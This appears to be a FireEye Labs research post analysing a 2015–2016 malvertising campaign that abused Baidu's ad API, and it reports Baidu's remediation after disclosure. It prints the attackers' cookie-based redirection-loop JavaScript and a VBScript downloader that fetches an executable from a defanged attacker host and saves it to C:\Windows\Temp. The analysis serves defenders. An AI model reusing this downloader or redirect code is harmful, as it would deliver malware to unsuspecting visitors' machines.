At FireEye Labs, we have discovered another well-crafted malvertising campaign that uses the ad API of one of the world’s largest search engines: China-based Baidu. The attacker employs a simple HTML redirector instead of shellcode or an exploit in an apparently benign-looking website. This leads to a redirection loop fetching malicious content from compromised ad slots, which starts dropping malwares in a chain on the infected machine. This malvertising campaign involving Baidu’s API has been designed in a way so that its actual source is hard to trace back.
The campaign was first seen in the middle of October 2015, and instances of the threat were still active as of February. Baidu took several steps to address the issue following FireEye’s responsible disclosure, but at the time, Internet surfers who navigated to an infected page for this campaign – such as hxxp://www.duds[.]win – would be redirected to the following URL:
hxxp://www.ymnemh[.]info/index.htm
There are two parts of the obtained response.
Setting up a redirection loop:
In first part of response, the code creates a number of tracking cookies using JavaScript, which keeps track of the current time and number of visits to the page. Said script is given in Code Listing 1 for reference:
<script>
function getCookieVal(offset) {
var endstr =
document.cookie.indexOf(";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return
unescape(document.cookie.substring(offset, endstr));
}
function GetCookie(name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j)
== arg)
return getCookieVal(j);
i = document.cookie.indexOf("
", i) + 1;
if (i == 0)
break;
}
return null;
}
function SetCookie(name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires =
(2 < argc) ? argv[2] : null;
var path = (3 < argc)
? argv[3] : null;
var domain = (4 < argc) ? argv[4] :
null;
var secure = (5 < argc) ? argv[5] : false;
document.cookie = name + "=" + escape(value) +
((expires == null) ? "" :
("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path))
+
((domain == null) ? "" : (";
domain=" + domain)) +
((secure == true) ?
"; secure" : "");
}
function
DisplayInfo() {
var expdate = new Date();
var
visit;
// Set expiration date to a year from now.
expdate.setTime(expdate.getTime() + (24 * 60 * 60 * 1000 *
365));
if (!(visit = GetCookie("visit")))
visit = 0;
visit++;
SetCookie("visit", visit, expdate, "/", null,
false);
var url = "";
if (visit ==
2) url =
"hxxp://www.ymnemh[.]info/index2.htm";
if (visit == 3) url =
"hxxp://www.txiu[.]cc/index3.htm";
if
(visit >= 4) { url =
"hxxp://www.ymnemh[.]info/index.htm";
ResetCounts(); }
if(url !=
"") window.location = url;
}
function ResetCounts() {
var expdate = new
Date();
expdate.setTime(expdate.getTime() + (24 * 60 *
60 * 1000 * 365));
visit = 0;
SetCookie("visit", visit, expdate, "/", null, false);
}
DisplayInfo();
</script>
The highlighted part of Code Listing 1 is of main interest here. Every time the user lands on this web page, the browser is redirected to a certain set of infected pages for the same attack family until the user loops back to the same page – and it continues forever.
Deploying the attack iframe:
In the second part of the response, the first attack iframe is deployed, as seen in Figure 1:
Figure 1. The first attack iframe (Remember the highlighted part)
When the GET request for this iframe is generated, it feeds a compromised ad slot id to the standard ad API of Baidu using the API standard script o.js, as seen in Figure 2.
Figure 2. The second attack iframe is being fetched from a compromised ad slot
The script hxxp://cbjs.baidu[.]com/js/o.js generates the following request (Figure 3). The response is the second attack iframe (Figure 4):
Figure 3. Notice the compromised ad slot 1xxxx78 that is being utilized to fetch second iframe
Figure 4. The second attack iframe has been fetched from compromised ad slot 1xxxx78
The second attack iframe hxxp://p.jiayuepc[.]com/c.html?u=c6 has now been fetched in the above response from the compromised ad slot 1xxxx78. This is the URL that gets the actual attack from the last compromised ad slot in this attack, i.e. 1xxxx80, to fetch the actual attack script. The response to this URL can be seen in Figure 5.
Figure 5. The second attack iframe hxxp://p.jiayuepc[.]com/c.html?u=c6 has requested attack body from the compromised ad slot 1xxxx80
Here comes the malicious code:
Figure 6 shows the final request made to the ad server by the ad API script o.js using the compromised ad slot id.
Figure 6. Second attack iframe generates Baidu's ad API request fetching malicious VBScript from compromised ad slot
Notice the underlined part of this automatically generated URL by o.js in Figure 6. ltu, ltr and lcr variables are assigned first attack iframe URL string, whereas liu is given the second attack iframe URL string. These will be utilized in dynamically altering the contents of the actual attack response – in this case, the name of the executable being dropped.
The server responds with the encrypted attack masked inside the API’s response body. What is actually hiding inside is a VBScript that is dropped in C:\Windows\Temp with the name logo.vbs. It downloads and launches a malicious executable from a dedicated file server. The contents of this script are interesting, as shown highlighted in Code Listing 2.
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open
"GET","hxxp://co.lxxxxx98[.]com/logo.bmp?1450263107531",0
xPost.Send()
set
sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write
xPost.ResponseBody
sGet.SaveToFile "C:\Windows\Temp\logo_c6-66pb_pic10.exe",2
Code Listing 2
Here, c6-66pb_pic10 is the name of the dropped executable that is derived from the iframe URLs that eventually lead to the attack slot, so this dynamically generated name is different for different redirection pathways, as shown in Figure 7.
Figure 7. Attack has been dynamically altered based on first and second iframe information which was sent to slot 1xxxx80
A pseudorandom numeric token (in this case 1450263107531, as highlighted in Code Listing 2) is sent to the attack hosting server co.lxxxxx98[.]com along with the logo.bmp request (as highlighted in code line #2 in Code Listing 2). The response is a polymorphic Trojan downloader executable that always has the same name, i.e. logo.bmp.
In this case, the executable is from a Trojan downloader family recognized by Microsoft as Win32/Jongiti. As per the Microsoft.com website:
“This threat downloads and installs other programs onto your PC without your consent, including other malware.”
The infection continues:
The attack doesn’t stop there. Another GET request to the same server hosting logo.bmp is generated, requesting a file named c.ini, as seen in Figure 8.
Figure 8. c.ini requested from the same server lxxxxx98[.]com that served the first binary as logo.bmp
A list is returned in the response containing potentially unwanted programs (PUPs) and Trojan downloaders available for direct download, as shown in Figure 9.
Figure 9. c.ini lists downloadable executables returned in response to hxxp://pz.lxxxxx98[.]com/c.ini?1450263172
The list from c.ini is then fed to logo_c6-66pb_pic10.exe as an argument, and one by one unwanted content – mostly PUPs, keyloggers and pornographic content droppers – are launched on the victim machine. Figure 10 shows this process.
Figure 10. logo_c6-66pb_pic10.exe downloads rag1446260.exe, which can download further unwanted content
On systems running Windows, the latest versions of Internet Explorer (IE) will prompt against this malvertisement since, as of IE11, Microsoft stopped supporting execution of VBScript on the client side. Users who are currently running versions of IE that are older than 11.0 can stay safe from these types of attacks by simply upgrading their browsers to IE11 or later.
FireEye representatives contacted Baidu officials to responsibly disclose the issue. Baidu fully cooperated by taking immediate action against the attacking party and removing all malicious content. They also made immediate changes to their ad platform regulations so that certain dynamic behaviors such as loading VBScript or downloading executables from suspicious domains are no longer allowed.
A shift to backup ad slots:
Though crippled due to its main ad slot content being removed, this malvertising campaign shifted to its backup ad slots. FireEye immediately communicated the details to Baidu and the issue was quickly addressed. At the time of posting, the campaign is no longer active. During the two-week wait period before FireEye made this post public, Baidu has been doing a massive search and clean operation on their ad slots. As per Baidu officials:
- From March 14 to March 18, evidence gathering from the attacker account was finalized and all their malicious content was cleaned.
- It is now mandatory for all existing and new accounts to bind and verify a cellphone number and domain name registration record (both have real-name enforcement in China) for verification. Account identities related to malicious content can be provided to the law enforcement agencies.
- Baidu has enhanced its detection mechanism to capture malicious content hosted on its ad platform. All existing uploaded content is also to be fully scanned.
From March 21 to March 31, Baidu is in the process of shutting down the upload channel of user defined scripts and Flash to their ad platform. This means that similar malvertising campaigns can no longer host content on Baidu’s ad slots in the future.